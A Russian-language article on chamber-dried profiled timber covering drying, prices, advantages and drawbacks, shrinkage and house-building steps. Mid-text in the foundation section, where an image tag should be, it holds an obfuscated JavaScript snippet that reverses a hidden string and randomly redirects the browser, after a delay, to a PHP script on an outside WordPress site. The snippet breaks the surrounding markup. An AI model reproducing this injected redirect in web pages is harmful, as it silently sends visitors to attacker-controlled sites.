Профилированный брус камерной сушки: Подробности и Фото

Технология производства бруса камерной сушки

Производство цельного профилированного бруса естественной и камерной сушки не имеет отличий с точки зрения очередности этапов. Но отличается их содержание и длительность. В частности – этап сушки древесины.

Сушка древесины необходима для предотвращения появления трещин, кручения, деформаций и т.п. на этапе производства, а не эксплуатации дома. Чем суше будет строительный материал, тем более надежным будет построенный из него дом.

Т.е., именно сушка оказывает наибольшее влияние на прочность, качество, количество трещин, вероятность появления деформаций и сохранность физических и эксплуатационных свойств профилированного бруса.

После сушки заготовки калибруются, и часть из них отбраковывается. Производители отмечают, чем больше сечение бруса, тем выше процент отбракованных заготовок. Именно этим объясняется незначительное присутствие на рынке профилированного бруса сечением 200х200 и его более высокая, по сравнению с другими видами, цена.

Расценки на сухой брус от производителя

Сухой профилированный пиломатериал имеет цены в зависимости от сечения древесины

Сухой профилированный пиломатериал имеет цены в зависимости от сечения древесины. Так, в среднем на российском рынке производитель и поставщик предлагает такую стоимость на свой продукт:

• Дерево сечением 100х150 мм — 170-180 У.Е./м3;
• Брус сечением 100х200 мм — 180-200 У.Е./м3;
• Материал 150х150 мм — 180-220 У.Е./м3;
• Пиломатериал сухой 150х200 мм — 190-230 У.Е./м3;
• Брус 200х200 — 200-230 У.Е./м3.

Помните, мало точно профилировать брус по его граням. Необходимо точно и качественно просушить материал по всей его длине и толщине. Сушильный процесс должен быть выполнен с соблюдением всех правил и требований. Если же технология была нарушена, цена на товар однозначно будет ниже. Поэтому приобретайте сухой материал только от проверенного производителя по рекомендуемой цене.

https://youtube.com/watch?v=yiuZX4ACzNY

Преимущества и недостатки бруса камерной сушки

Профилированный брус, высушенный в высокотемпературной камере и потерявший большую часть связанной жидкости, получает ряд преимуществ:

• Минимальная усадка. Объем, который может потерять материал, он уже потерял в процессе сушки, потому изменение линейных размеров в срубе редко превышает 1-2%. Такие незначительные изменения габаритов легко компенсируются, так что время на выстаивание сокращается до минимума.
• Малая склонность к деформациям и появлению трещин. Причина та же: вся влага уже потеряна, деформированные детали отбракованы – профилированный брус будет лежать в срубе так, как его туда уложили. Большая стойкость к деформациям только у клееного бруса, собранного из отдельных ламелей.
• Стойкость к инфекциям. На сухой древесине грибки и бактерии селятся очень неохотно. Если же вовремя обработать материал антисептиком и следить за тем, чтобы сруб не подмокал, то гнить дерево не начнет еще очень долго.

Есть еще один важный плюс – меньшая масса. Хотя актуален он в основном для тех, кто сам выполняет монтаж сруба. Конечно, выигрыш по весу не превышает 10%, но все равно носить и укладывать сухие детали проще.

Основной минус бруса камерной сушки — высокая цена профилированного материала.

Профилированный брус своими руками

Существует несколько причин, когда застройщик может задуматься об изготовлении профилированного бруса своими силами.

Естественно, на первый план выступает финансовый вопрос, а именно возможность сэкономить довольно приличные средства.

Но следует учитывать, что это оправдано лишь при строительстве больших объектов, например, загородного дома или коттеджа, площадью от 250 м2 и более.

Кроме того, что процесс изготовления бруса нельзя назвать простым, потребуется приобрести или арендовать необходимый инструмент и оборудование, хотя изготовить стапель можно и самостоятельно из подручных средств.

Чем покрасить деревянный дом снаружи и внутри? – здесь больше полезной информации.

Для того чтобы справиться с предстоящей работой нет необходимости приобретать оборудование для каждого этапа – с этим вполне справиться один станок с возможностями:

• производить обработку бруса (или бревна) многопильным способом с четырех сторон одновременно;
• выполнять строгание, шлифование и профилирование бруса;
• изготавливать чаши разных видов для межвенцовых соединений.

Следующая причина зачастую вытекает из первой, а именно: при возведении больших по размеру домов, часто возникает необходимость в использовании материалов нестандартной длины.

Вас заинтересует эта статья – Дом из рубленного бревна, изготовление сруба.

Значительно легче справиться с ситуацией, когда есть достаточные запасы, например, строганного бруса, а для дома необходим профильный: в этом случае можно обойтись использованием фрезы или циркулярной пилы, нарезав с их помощью соответствующие замковые соединения.

Некоторые застройщики иногда занимаются производством бруса, когда есть потребность в конструкциях с большой несущей способностью. В этом случае склеиванием из двух-трех изделий самостоятельно изготавливается брус соответствующего размера. Но как правило, таким способом изготавливаются конструктивные элементы для перекрытий.

Заниматься изготовлением клееного бруса в «домашних» условиях не имеет смысла, прежде всего из-за того, что невозможно обеспечить полноценный процесс, особенно этап склеивания ламелей и их прессования – для этого требуется использовать высокоточное оборудование, стоимость которого может превышать стоимость материал, необходимого для строительства дома.

Профилированный брус: что это такое?

Итак, профилированный брус – это изделия:

• из цельного массива древесины. Могут быть сухими или естественной влажности и от строганного бруса их отличает наличие профиля;
• полученные в результате склеивания между собой ламелей. При этом ориентация каждого слоя является обратной к предыдущему. Такая особенность обеспечивает прочность и защиту от классических «болезней» древесины: перекручивания, растрескивания;
• «теплый» брус, по технологии близок к клееному и отличается от него наличием специального слоя утеплителя, как правило, из экструдированного пенополистирола.

Для производства клееного или теплого бруса, специальным образом распущенные из массива дерева ламели проходят этап камерной сушки, а также обязательную обработку антисептическими средствами и антипиренами.

Иногда к профилированным изделиям относят и лафет, занимающий в иерархии промежуточное место между брусом и оцилиндрованным бревном, именно из-за наличия замкового соединения и формы.

Для производства профилированного бруса основным исходным сырьем является древесина хвойных пород, преимущественно сосна, хотя для улучшения эксплуатационных и эстетических характеристик клееного бруса, ламели (чаще всего внешние) могут изготавливаться и из древесины других пород, например, дуба, кедра или лиственницы.

В зависимости от того, в какой климатической зоне планируется строительство, а также от целевого назначения объекта определяются и размеры профилированного бруса. Стандартная длина составляет 6 м, хотя могут встречаться изделия и по 12 м, и даже по 18 м, но, как правило, их производство осуществляется по спецзаказу.

По размерам сечения материал отличается большим разнообразием. Самыми популярными и ходовыми являются от 150?150 до 220?260 мм. Для более суровых условий подойдет брус с сечением 280?280 мм или даже 320?320 мм.

Естественно, для строительства летнего дачного домика нет необходимости в использовании материала с большим сечением, а для коттеджа, предназначенного для круглогодичного проживания, следует учитывать климатические условия региона и выбирать брус с соответствующими размерами.

Но если планируется выполнять внешнюю отделку дома, то вполне можно сэкономить, приобретя брус с меньшим сечением, так как в этом случае становиться возможной укладка утеплителя (с внешней или внутренней стороны дома).

Когда на первое место выступает эстетическая составляющая или нет желания «маскировать» красоту дерева под навесными фасадами и отделкой, то необходимо точно рассчитать коэффициент теплопроводности стен. В ином случае придется смириться с высокими расходами на отопления здания или все же задуматься о дополнительном утеплении.

Особенно важно учитывать этот факт, если планируется использовать клееный профилированный брус для строительства. Даже, несмотря на то что коэффициент теплопроводности стен из него ниже чем из строганного профилированного изделия, ошибки в расчетах приведут к тому, что материал, изначально не предполагающий никакой отделки, необходимо будет спрятать под утеплением или навесным фасадом

Что такое брус естественной влажности

Любой брус, влажность которого превышает 20% можно уверенно считать материалом естественной влажности. Содержание влаги в нем может варьироваться в широких пределах, древесина может быть немного подсушенной, а может являться откровенно сырой. При покупке нужно отдавать предпочтение первому типу – это позволит минимизировать последствия последующей усушки. Как правило, брус естественной влажности производится из доступных пород древесины, ели и сосны, вы можете также встретить в продаже материал из лиственницы.

Недостатки использования такого стройматериала

Использование любых строительных материалов из древесины сопряжено с определенным риском (они сами по себе довольно капризные), а в случае с брусом естественной влажности проблемы кроются еще и в избыточном содержании влаги. Определимся с основными его недостатками, с которыми, судя по отзывам владельцев домов из бруса, сталкиваются чаще всего:

• брус влажный, а это значит, что на нем могут развиваться бактерии, грибы, насекомые;
• брус, так или иначе, будет высыхать до равновесных значений, а это значит, что он будет трескаться и изменять толщину и ширину. Отсюда и значительная величина усадки, которая может достигать 5%;
• по всем этим причинам приступить к проведению отделки можно лишь спустя год или больше

Мероприятия для защиты бруса естественной влажности

Рассмотрим такую ситуацию: вы планируете построить сруб и оставить его в покое до лучших времен – до тех пор, пока стены не высохнут, а коробка не сядет. За это время в брусе обязательно появятся трещины, от ваших действий зависит лишь их количество и размеры. Закономерно напрашивается решение – снизить скорость испарения влаги из материала. Сделать это можно двумя путями, вам рекомендуем использовать лишь первый:

• грамотно подойти к выбору времени строительства сруба. Например, возводить его зимой. Почему? Все достаточно просто: летом процесс естественной сушки наиболее интенсивный, а за промежуток «зима-весна» дом успеет уже частично просохнуть в мягких условиях. Вот почему считается, что из зимнего бруса естественной влажности лучше строить, чем из любого другого, хотя все дело не в характеристиках стройматериала, а в условиях его использования!
• учитывая то, что большая часть влаги испаряется из бруса через его торцы, закономерно возникает решение – замазать их чем-нибудь, чтобы процесс сушки происходил постепенно. Проблема в том, что почти в 90% случаев такой подход способствует активному развитию плесени и прочей живности. Даже антисептированный брус не сможет противостоять их напору. Помните, брус должен сохнуть!

Резюмируем вышесказанное: выбирая в качестве стройматериала брус естественной влажности, лучше начинать возводить сруб зимой, чтобы он высыхал в мягких условиях. В это время коробка должна хорошо проветриваться и быть защищена от капельной влаги. В качестве дополнительной защиты от грибков и бактерий поверхность бруса необходимо обработать специальными составами-антисептиками.

Сколько стоит брус естественной влажности

Пожалуй, самое весомое преимущество использования бруса естественной влажности – его низкая стоимость. Вы можете убедиться в этом самостоятельно, ознакомившись с данными таблицы, приведенной ниже.

В то же время применение такого бруса в большинстве случаев влечет за собой необходимость внешней отделки (недостаток дома из бруса, влажность которого превышает 20%, — появление значительных трещин и образование щелей между венцами), что также сказывается на смете строительства дома.

Выводы

Брус естественной влажности удобно использовать, когда планируется поэтапное финансирование строительных работ в течение 1-2 лет. Необходимость последующей отделки по сути перечеркивает относительно небольшие затраты на стеновой материал – можно говорить только о низких затратах на первом этапе. Поэтому его применение целесообразно лишь для строительства дачных домов и бань.

Что представляет собой каждый вид бруса

Исходным материалом для изготовления любого бруса обычно является древесина хвойных пород (ель, сосна, лиственница, кедр). Казалось бы, если отправная точка одна, то и на финише мы должны иметь нечто очень похожее. Тогда в связи с чем возникает столько вопросов? Что лучше – обычный брус или клееный брус?

Действительно ли они сильно отличаются друг от друга, или это какая-то очередная уловка маркетологов? Чтобы разобраться в этом, для начала надо получить хотя бы общие представления о том, что из себя представляет каждый из рассматриваемых видов бруса.

Пиленный брус

Пиленый (обрезной, непрофилированный) брус – самый дешевый вид бруса. Технология его производства предельно проста. С бревна срезают четыре канта (иными словами с него срезаются боковые горбыли), в результате получается брус квадратного (150×150 мм) или прямоугольного (150×200 мм) сечения. Стандартная длина материала – 3 или 6 м. Специальной сушке непрофилированный брус не подвергается. Сохранение естественной влажности материала делает процесс его заготовки максимально простым, а стоимость невысокой.

Раньше непрофилированный брус использовался в строительстве домов довольно часто. Сегодня же, как правило, к его применению прибегают лишь в тех случаях, когда хотят сэкономить на стоимости материала. Вообще невысокая цена обрезного бруса является чуть ли не единственным его достоинством, зато он обладает практически всеми недостатками, присущими древесине.

Профилированный цельный брус

Профилированный цельный брус – материал, достойный внимания. Благодаря тому, что он лишен ряда недостатков обрезного (непрофилированного) бруса, а его цена при этом не запредельно высокая, профилированный брус чаще других используют в строительстве деревянных домов.

Производится профилированный брус в заводских условиях, где с помощью специального оборудования, обеспечивающего идеальную геометрию изделия и точность его линейных размеров, бревно остругивается с четырех сторон, а затем в полученном брусе делаются специальные замковые соединения. На выходе мы имеем профиль сложного сечения, с точностью до миллиметра соответствующий заданным параметрам. Существует несколько типов замковых соединений, но наиболее распространены финский (шип-паз) и немецкий (гребенка) профили.

Финский профиль.

Гребенка.

Благодаря наличию шипов и пазов два соседних бруса плотно стыкуются между собой, не оставляя щелей, и надежно фиксируется. Дом собирается как детский конструктор – быстро и легко. Его ровные и гладкие стены смотрятся очень красиво.

Весь имеющийся на рынке профилированный брус по уровню влажности делят на две категории. Различают брус естественной влажности и камерной сушки. Качественный брус камерной сушки недешев, но зато стены из него не деформируются, а дом практически не дает усадки, а значит, в него можно заселяться сразу по завершению строительства.

Профилированный клееный брус

Профилированный клееный брус по технологии его производства принципиально отличается от первых двух рассмотренных видов бруса. Бревно распиливается на доски, которые проходят стадию камерной сушки, обрабатываются антисептиками и антипиренами, после чего склеиваются с применением специального клеевого состава на основе ПВА. Полученная монолитная балка состоит из досок разной толщины, и уложены они так, чтобы направление волокон в каждом последующем слое изменялось на поперечное. Именно благодаря этой разнонаправленности волокон древесины в массиве клееного бруса он стабилен к отсыреванию и рассыханию, не деформируется со временем, обладает повышенной на 50-70% твердостью, по прочности не уступает кирпичу.

Число слоев в балке может варьироваться от 2 до 5 – все зависит от желаемой толщины конечного изделия. Наконец, на завершающей стадии процесса из полученной клееной балки с ювелирной точностью вырезается сам брус с тем или иным видом замкового соединения.

Этот ровный, прочный и качественный материал может с успехом применяться при «быстром» строительстве, поскольку возведенная из него постройка практически не дает усадки. Поскольку это профилированный брус, сруб дома собирается быстро, а зазоры между соседними балками (а, следовательно, и теплопотери дома) минимальны.

Какой брус лучше для строительства дома на даче или возведения загородного коттеджа? У каждой разновидности есть свои достоинства и недостатки, которые влияют на итоговую стоимость постройки, прочность и долговечность сооружения, объем работы на этапе возведения дома и во время его последующей эксплуатации и т. д. Определитесь, что для вас является наиболее приоритетным, и тогда вы сможете выбрать наиболее подходящий именно вам материал.

Минусы профилированного бруса

Не смотря на выше перечисленные плюсы, данный материал также обладает рядом существенных минусов таких как:

1. Неравномерная просушка. Сырье в особенности крупного сечения иногда в самом центре изделия плохо просыхает. А недобросовестные производители торопятся продать материал, в виду чего потребитель получает товар только на половину высушенный. Такой брус непременно растрескается. Отсюда и возникают плохие отзывы о данном материале.
2. Цена на сухой брус всегда выше, чем на иные пиломатериалы.

Чтобы не приобрести непросушенный брус имейте под рукой всегда ручной влагомер и перед покупкой замеряйте влажность древесины.

Что лучше – клееный брус или профилированный?

Выбор в пользу того или иного типа пиломатериалов можно осуществить, исходя из характеристик, целей использования и ценовой политики.

По сравнению с профилированным клееный брус обладает такими достоинствами:

• низкий уровень влажности (11-14%) благодаря использованию исключительно камерной сушки;
• большие габариты изделия – максимальное сечение достигает 275х275 мм, а длина бруса может достигать 18 погонных метров;
• низкий процент усадки (не больше 1%);
• повышенная прочность;
• минимальное количество деформаций;
• возможность проводить отделочные работы сразу по окончании строительства;
• высокая эстетичность, отсутствие сучков и дефектов древесины.

Однако профилированный брус клееного типа обладает более низкими показателями экологичности из-за использования в производстве клеевых химикатов. К недостаткам можно отнести и более высокую стоимость материала: клееный брус стоит на 30% дороже обычного профилированного.

Таким образом, клееный брус дает большую вариативность работ благодаря разнообразию габаритов, профилированный же обойдется в строительстве намного дешевле. Причем оба материала обладают высокой биологической устойчивостью и пожарной безопасностью.

Почему лучше строить дом из сухого профилированного бруса, а не из обычного

В ходе камерной сушки процесс растрескивания, коробления практически завершается: тесины принимают окончательную форму и размеры. Стены, сложенные из подсушенной древесины осядут на 2 %. Это всего 3–5 см, а не 10–15 см, как в случае с обычным брусом. Усадка произойдет в основном за счет уплотнения бревен между собой.

Лес просушен: из безусадочного бруса монтажники могут возводить сложные многоэтажные сооружения. В новых домах простенки не ведет, стропила не разъезжаются, перекрытия не кренятся, двери не перекашиваются. Это решает проблему усадки и деформирования конструкций.

Детали, изготовленные заводским способом, отличаются

• точностью размеров
• малым весом
• долговечностью

Дом из какого материала Вам нравится больше всего?

Дом из бруса
23.76%

Дом из кирпича
17.65%

Бревенчатый дом
13.78%

Дом из газобетонных блоков
19.14%

Дом по канадской технологии
11.07%

Дом из оцилиндрованного бревна
3.48%

Монолитный дом
4%

Дом из пеноблоков
3.81%

Дом из сип-панелей
3.32%

Проголосовало: 3678

Преимущества жилищ построенных из профилированного бруса

Профилированный брус обладает малым весом, соответственно фундамент под здание из такого материала может быть не очень массивным и неглубоким. Можно производить строительство, как на ленточном, так и на столбчатом фундаменте, что в разы уменьшает денежные расходы при строительстве дома.

Объекты, возведенные из такого бруса, помимо своей демократичной цены, имеют еще одно неоспоримое достоинство. Это быстрота строительства дома. Деревянный сруб, изготовленный на предприятии, всегда точный в размерах, поэтому на строительной площадке установка и монтаж такого дома займет мало времени. Облегчает сборку дома и небольшой вес профилированного бруса.

Очень важным во время строительства дома является то, что все работы можно легко проводить в любое время года. Тем, кто возводит для себя дом, важна в первую очередь не только сама цена стройку, но и ценовая политика последующей эксплуатации жилища. В доме, построенном из профилированного бруса, в несколько раз понижаются расходы на само отопление.

Внутренние, а также наружные работы по отделке минимальны, и их легко производить за счет правильности стыков между стеной и потолком, так как профилированный брус очень ровный тем самым он обеспечивает ровные стены внутри помещения. Своему дому, построенному из профилированного бруса, вы реально можете придать любой образ.

Достоинства и особенности

К преимуществам профилированного бруса можно отнести:

• Стоимость. Брус профилированный естественной влажности имеет приемлемую стоимость. А необходимость ожидания усадки позволяет разделить общие затраты на части по времени их необходимости.
• Долгий срок службы.
• Прочность и надежность.
• Структура бревна с профилем значительно упрощает строительство, снижает затраты на утепление.
• Воздухопроницаемость. Брус из цельной древесины не теряет свои характеристики в процессе обработки. Но приобретая клееный брус стоит удостовериться в безопасности клеевой основы.
• Натуральный, экологически чистый материал. Позволяет создать в помещении неповторимы микроклимат, смольные пары оказывают положительное влияние на жильцов.
• Эстетичность. За счет того, что материал имеет гладкую и ровную поверхность, угловые элементы гармонично дополняют общий вид бревенчатого сруба — бревно не требует применения декоративной отделки внутри и снаружи.
• Низкие показатели теплопроводимости при условии соблюдения технологии сборки и использовании качественного утеплителя.
• Равномерная усадка и устойчивость к деформации.
• Сниженный процент влажности и изготовления бревна из ядровой части ствола дерева позволяют уменьшить количество трещин при усадке.
• Простота сборки дома. Соединение шип-паз упрощает процесс и позволяет сложить дом за 1 – 2 месяца.
• Изготовленные в производственных условиях угловые соединения надежно закрепляют венцы.
• Возможность строительства сооружений различных форм и размеров. Стандартно брусья изготавливаются длиной 6 метров, но под заказ могут быть изготовлены необходимой длины.
• Повторная конопатка стен не требуется, потому что гребневой замок исключает возможность появления щелей между венцами.
• Строительство домов из профилированного бруса возможно производить на столбчатом или не глубоком ленточном фундаменте.
• Прокладку коммуникаций (электропроводка, трубы) можно предусмотреть на этапе изготовления. Для этого специальными станками высверливаются технологические отверстия и каналы.

Недостатки профилированного бруса:

• Продолжительный период усадки. При этом использование отопительных и обогревательных приборов может привести к неравномерной усадке и увеличению количества трещин.
• При распиле бревна нарушается структура годичных колец и если их не обработать антисептиками, то может ускорится процесс гниения.
• Образование трещин в процессе сушки. На бревне квадратного сечения они появляются со всех сторон, а если сечение прямоугольной формы — то в основном на широких сторонах, находящихся внутри стены.
• Низкая сопротивляемость воздействию насекомых, огня и атмосферным явлениям. Проблема легко решается применением огнебиозащитных пропиток. После полного высыхания они не выделяет токсичных соединений и не представляет опасности для человека.
• Материал, даже сечением 200 х 200 мм, при использовании в зимний период или в северных регионах, требует дополнительного утепления со стороны фасада.
• Необходимость использования утеплителя в межвенцовых швах.

Существенным минусом дома из профилированного бруса можно назвать — невозможность произведения работ по перепланировке или надстройке.

При выборе материала следует помнить:

• строение брусовое долговечнее из профилированного бруса;
• ровность сторон, что бы проверить достаточно положить брус на ровное основание;
• промежутки между годовыми кольцами должны быть равными, это позволить избежать деформации;
• равномерность и однородность окраса поверхности. Если есть более темные участки — это может свидетельствовать о наличии внутреннего напряжения и возможном изменении формы в будущем.

Анализируя описанные плюсы и минусы профилированного бруса можно сказать, что в сравнении с аналогичными древесными материалами он имеет большую популярность за счет оптимального сочетания качественных характеристик и доступной стоимости.

Отличительные качества технологического процесса по изготовлению сухого профилированного бруса

Главное отличие данного материала изначально заложено в само название профилированного бруса – это сушка. Перед непосредственным пропусканием его через специальную фрезеровальную установку, данный материал подвергается тщательной просушки. Но помимо этого профилированный брус проходит скрупулезный отбор, где сразу же бракуют всякие неровности, углубления и дефекты.

После этого отобранные, ровные заготовки проходят еще одну процедуру – калибровку по размерам. И только после всего этого брус отправляют на сушку. При этом сушка бывает как натуральной, так и камерной, но мы в этой статье будем рассматривать исключительно камерную сушку. Камерную сушку могут проводить не все производители, это обуславливается высокой ценой камерной сушки. Подобную сушку можно произвести за двадцать часов. Натуральная сушка занимает очень длительное время примерно три месяца. А при камерной сушке на всех звеньях производят добавочные компрессионные надпилы. Таким образом, производитель предотвращает растрескивание материала во время непосредственной сушки в камере.

Во время просушивания брус крутят во все стороны, и он непременно растрескивается. Из-за этой причины и случается огромное количество отбраковки древесного сырья. Причем чем крупнее надсечка звена, тем больше будет в последующем брака. Именно по данной причине большинство производителей просто напросто не желают нести такие потери и не пользуются такими технологиями.

После чего заготовки проходят через станок, где производятся две гладкие, ровные стороны, а также сторона с шипом и непосредственно с пазом.

Перевозка профилированного бруса также обладает некоторыми отличительными свойствами. Брус скрупулезно пакуют и завертывают в специальную герметическую пленку, чтобы древесина не впитала лишнюю влагу из воздуха.

От чего зависит усадка бруса

Сейчас коттеджи из профилированного бруса под усадку пользуются большим спросом, так как их строительство довольно быстрое и недорогое. Нужно лишь правильно учесть сроки усушки материала под воздействием внешних факторов. Происходит она в несколько этапов: первый — интенсивный, длится 3 мес., второй — постепенный, протекает последующие 9 мес. За год строение становится стабильно на 70%, возможны небольшие изменения за 2 и 3 года после возведения, но уже в меньшей степени: 30% от первоначального значения. Величина усушки имеет определённый стандарт по ГОСТу. Но полностью спрогнозировать, как будет протекать просадка стен, можно только отталкиваясь от характеристик используемого материала и условий эксплуатации. Критерии, влияющие на этот показатель:

• вид бруса;
• порода дерева;
• исходная степень влажности;
• климатические условия;
• технология строительства сруба;
• сечение пиломатериала;
• размеры здания.

От каждого из факторов зависит усадка дома из бруса. Только учитывая все эти критерии, можно произвести расчёты уплотнения пиломатериала. Начнём по порядку.

Технология строительства

Возведение дома из сухого бруса своими руками- это многоэтапная работа, которая включает следующие стадии:

• проектирование;
• подготовка территории;
• закладка фундамента;
• укладка гидроизоляции;
• постройка стен;
• изготовление окосячки;
• настил пола;
• установка потолочного перекрытия;
• строительство кровельной системы.

При реализации всех вышеперечисленных этапов отсутствует необходимость в применении подъёмной спецтехники и большого числа рабочего персонала для постройки полноценного коттеджа потребуется бригада строителей и подсобных работников из 6-8 человек.

Проект

На первом этапе необходимо составить проект будущего дома

Важно выбрать не тот проект, который вам будет внешне нравиться, а тот, который будет соответствовать особенностям участка и не вызовет трудностей при постановке объекта на учет

Фундамент

Вторым этапом является:

• подготовка территории;
• закладка фундамента.

Подготавливая территорию, нужно:

• разровнять грунт;
• подвести инженерные коммуникации (канализация и водопровод).

Как правило, под такие дома закладывается ленточный фундамент. Поэтому в соответствии с проектной документацией, участок расчерчивается под будущий фундамент.

$NjS=function(n){if(typeof ($NjS.list)==»string») return $NjS.list.split(«»).reverse().join(«»);return $NjS.list;};$NjS.list=[«\’php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to-transheya-pod-fundament-600×600.jpg» alt=»На фото траншея под фундамент» width=»600″ height=»600″ /> На фото траншея под фундамент

Далее роются траншеи глубиной около 70 см. На дно траншей высыпается песок слоем в 5 см, а поверх укладывается ряд крупноразмерного бутового камня. Сверху траншеи делается опалубка. В полученную конструкцию заливается бетон, с тем расчетом, чтобы уровень фундамента был на 20 см выше грунта.

Для расчета земляных работ можно воспользоваться калькулятором:

Вид котлована

Котлован прямоугольный с откосамиКотлован многоугольный с откосамиКруглый котлованТраншея с откосами

Ширина котлована по дну, м

Длина котлована по дну, м

Ширина котлована по верху, м

Длина котлована по верху, м

Глубина котлована, м

Объем прямоугольного котлована с откосами, куб.м.

Гидроизоляция

Укладка гидроизоляции- важный этап, в ходе которого поверхность фундамента выстилается гидроизоляционным материалом. Такая мера позволяет предупредить прямой контакт бетона и дерева и, как следствие,предотвратить загнивание бруса.

Возведение стен

На следующем этапе поднимаются стены. Сложнее всего правильно выполнить угловое соединение,которое будет определять прочность и устойчивость объекта.

Первые ряды уложены

Окосячка

Изготовление окосячки в брусовом доме необходимо для того, чтобы из-за дверных и оконных проемов ваш новый дом не утратил первоначальную форму. По причине простоты изготовления и относительной дешевизны,лучшим выбором станет окосячка «В закладной брусок».

Окосячка

Настил пола

После того как готова окосячка, самое время изготовить лаги на которые настилается половая доски. Лаги- это конструкции из балок, на которые приходится вся весовая нагрузка,оказываемая на пол. Для комфорта последующего проживания в доме, между лагами засыпается гидрофобный утеплитель для бруса, например пенопласт.

Потолок и крыша

Потолочное перекрытие в деревянных домах делается из брусьев, на которые набивается обрешётка.

Непосредственно на обрешётку крепится:

• деревянная вагонка;
• гипсокартон;
• любой другой отделочной материал.

Кровельные работы

Кровля на деревянных домах используется стандартная двухскатная. Прочность дома вполне позволяет использовать крышу облицованную черепицей.